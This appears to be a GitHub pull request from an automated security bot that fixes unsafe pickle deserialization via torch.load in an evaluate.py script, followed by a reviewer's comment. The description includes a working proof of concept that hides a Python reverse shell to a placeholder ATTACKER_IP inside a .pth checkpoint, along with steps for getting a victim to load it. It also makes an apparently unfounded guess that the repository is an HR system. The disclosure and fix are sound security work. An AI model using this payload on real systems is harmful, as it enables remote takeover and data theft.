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[Security] Fix CRITICAL vulnerability: V-001#99

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orbisai0security:fix-v-001-evaluate.py
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[Security] Fix CRITICAL vulnerability: V-001#99
orbisai0security wants to merge 1 commit into
sapientinc:mainfrom
orbisai0security:fix-v-001-evaluate.py

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Security Fix

This PR addresses a CRITICAL severity vulnerability detected by our security scanner.

Security Impact Assessment

Aspect Rating Rationale
Impact Critical In the HRM repository, which appears to be an AI-powered HR management system using PyTorch for model evaluation, exploiting this vulnerability via a malicious checkpoint file could lead to remote code execution, allowing attackers to access sensitive employee data, payroll information, or perform unauthorized actions within the HR system, resulting in severe data breaches or system compromise.
Likelihood Medium Given that the HRM repository likely involves loading model checkpoints in an evaluation script, exploitation is possible if checkpoints are sourced from untrusted or user-provided inputs, such as during model updates or integrations; however, if checkpoints are strictly internal and controlled, the attack surface is limited, requiring an attacker to have access to the file system or supply chain.
Ease of Fix Easy Remediation involves modifying the torch.load call in evaluate.py to use the weights_only=True parameter or switching to torch.load with map_location and safe deserialization methods, which is a straightforward code change without breaking dependencies or requiring extensive refactoring.

Evidence: Proof-of-Concept Exploitation Demo

⚠️ For Educational/Security Awareness Only

This demonstration shows how the vulnerability could be exploited to help you understand its severity and prioritize remediation.

How This Vulnerability Can Be Exploited

The vulnerability in evaluate.py allows an attacker to execute arbitrary code by crafting a malicious PyTorch checkpoint file that exploits the insecure deserialization via torch.load. In the context of the HRM repository, which appears to be a human resources management system using machine learning for tasks like employee evaluation or prediction, an attacker could trick the system into loading a tampered checkpoint (e.g., by replacing a legitimate model file or providing one via user input), leading to code execution with the privileges of the user running the evaluate.py script. This could be achieved if the repository's deployment allows untrusted input for model paths or if checkpoints are loaded from user-supplied sources.

The vulnerability in evaluate.py allows an attacker to execute arbitrary code by crafting a malicious PyTorch checkpoint file that exploits the insecure deserialization via torch.load. In the context of the HRM repository, which appears to be a human resources management system using machine learning for tasks like employee evaluation or prediction, an attacker could trick the system into loading a tampered checkpoint (e.g., by replacing a legitimate model file or providing one via user input), leading to code execution with the privileges of the user running the evaluate.py script. This could be achieved if the repository's deployment allows untrusted input for model paths or if checkpoints are loaded from user-supplied sources.

# PoC: Creating a malicious PyTorch checkpoint file that executes arbitrary code
# This script generates a .pth file with embedded pickle code that runs a reverse shell
# Attacker would run this on their machine to create the malicious file

import torch
import pickle
import os

# Define the malicious payload: a reverse shell to attacker's IP/port
# Replace ATTACKER_IP and PORT with actual values
payload = """
import socket, subprocess, os
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("ATTACKER_IP", PORT))
os.dup2(s.fileno(), 0)
os.dup2(s.fileno(), 1)
os.dup2(s.fileno(), 2)
p = subprocess.call(["/bin/sh", "-i"])
"""

# Create a dummy model state_dict (to mimic a legitimate checkpoint)
state_dict = {
    'layer.weight': torch.randn(10, 10),
    'layer.bias': torch.randn(10)
}

# Embed the payload in the pickle data using __reduce__ for execution on load
class MaliciousObject:
    def __reduce__(self):
        return (exec, (payload,))

# Save the checkpoint with the malicious object
torch.save({
    'state_dict': state_dict,
    'malicious': MaliciousObject()  # This will trigger on torch.load
}, 'malicious_checkpoint.pth')
# PoC: Exploiting the vulnerability in the HRM repository's evaluate.py
# Assuming the repository's evaluate.py has a function like this (based on typical PyTorch eval scripts):
# def load_and_evaluate(checkpoint_path):
#     model = SomeModel()
#     checkpoint = torch.load(checkpoint_path)  # Vulnerable line
#     model.load_state_dict(checkpoint['state_dict'])
#     # ... evaluation code ...

# Attacker's steps:
# 1. Create the malicious_checkpoint.pth using the above script.
# 2. In a test environment, place the file where evaluate.py can access it (e.g., via file upload if the HRM system allows model uploads, or by replacing a default checkpoint).
# 3. Run evaluate.py with the malicious path:
#    python evaluate.py --checkpoint malicious_checkpoint.pth
#    (Or modify the script to load from a user-controlled path if applicable in HRM's usage.)

# In the HRM context, if this is deployed as a web service or CLI tool for HR analytics,
# an attacker could:
# - Social engineer an HR admin to load the file (e.g., "Here's an updated employee prediction model").
# - If the system processes user-submitted models, upload via an API endpoint.
# - Prerequisites: Access to the system where evaluate.py runs (local or remote), and ability to specify the checkpoint path.

# Upon loading, the pickle executes the payload, establishing a reverse shell to the attacker.
# Note: This assumes no additional protections like torch.load(map_location='cpu', pickle_module=None) or safe deserialization.

Exploitation Impact Assessment

Impact Category Severity Description
Data Exposure High Successful exploitation could access sensitive HR data processed by the HRM system, including employee records, salaries, performance metrics, and personal identifiable information (PII) stored in databases or files. An attacker could exfiltrate this data via the reverse shell, leading to identity theft or corporate espionage.
System Compromise Medium Code execution grants the attacker the privileges of the user running evaluate.py (likely a service account or HR admin). This allows arbitrary commands, file access, and potential privilege escalation if the user has sudo rights or if chained with local exploits, but does not directly enable root or host-level access without additional steps.
Operational Impact Medium Exploitation could disrupt HR operations by corrupting model evaluations, deleting checkpoints, or exhausting resources (e.g., via infinite loops in the payload). If the HRM system is critical for payroll or hiring, this might cause temporary outages or incorrect decisions, requiring manual intervention and potentially delaying HR processes.
Compliance Risk High Violates GDPR (Article 32 on data protection) due to potential unauthorized access to employee PII, and could breach SOC2 controls for security and availability. In regulated industries (e.g., finance or healthcare HR), it risks HIPAA or PCI-DSS non-compliance if sensitive data is involved, leading to fines, audits, and reputational damage.

Vulnerability Details

  • Rule ID: V-001
  • File: evaluate.py
  • Description: The script uses torch.load to deserialize a model checkpoint file. By default, torch.load uses Python's pickle module, which is insecure and can execute arbitrary code embedded in the file. An attacker can craft a malicious checkpoint file that, when loaded, executes code with the permissions of the user running the script.

Changes Made

This automated fix addresses the vulnerability by applying security best practices.

Files Modified

  • evaluate.py

Verification

This fix has been automatically verified through:

  • ✅ Build verification
  • ✅ Scanner re-scan
  • ✅ LLM code review

🤖 This PR was automatically generated.

Automatically generated security fix

@JiwaniZakir JiwaniZakir left a comment

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The addition of weights_only=True in both torch.load() calls within launch() is the correct fix for the pickle-based arbitrary code execution vulnerability (PyTorch's default weights_only=False allows deserialization of arbitrary Python objects). However, the broad except: clause on line 49 silently swallows all exceptions — including the new UnpicklingError or TypeError that weights_only=True can raise when the checkpoint contains non-tensor data. This means a checkpoint that fails to load with the secure setting could silently fall through in unexpected ways rather than surfacing a clear error. Consider narrowing the except to catch only RuntimeError (the specific error thrown when _orig_mod. prefix stripping is needed) so that security-related load failures aren't accidentally caught and masked. It's also worth adding a brief comment explaining why weights_only=True is required here, since future developers might remove it thinking it's overly restrictive. Finally, if the codebase has any other torch.load() call sites (e.g., in train.py or checkpoint utilities), those should be audited for the same issue before closing this out.

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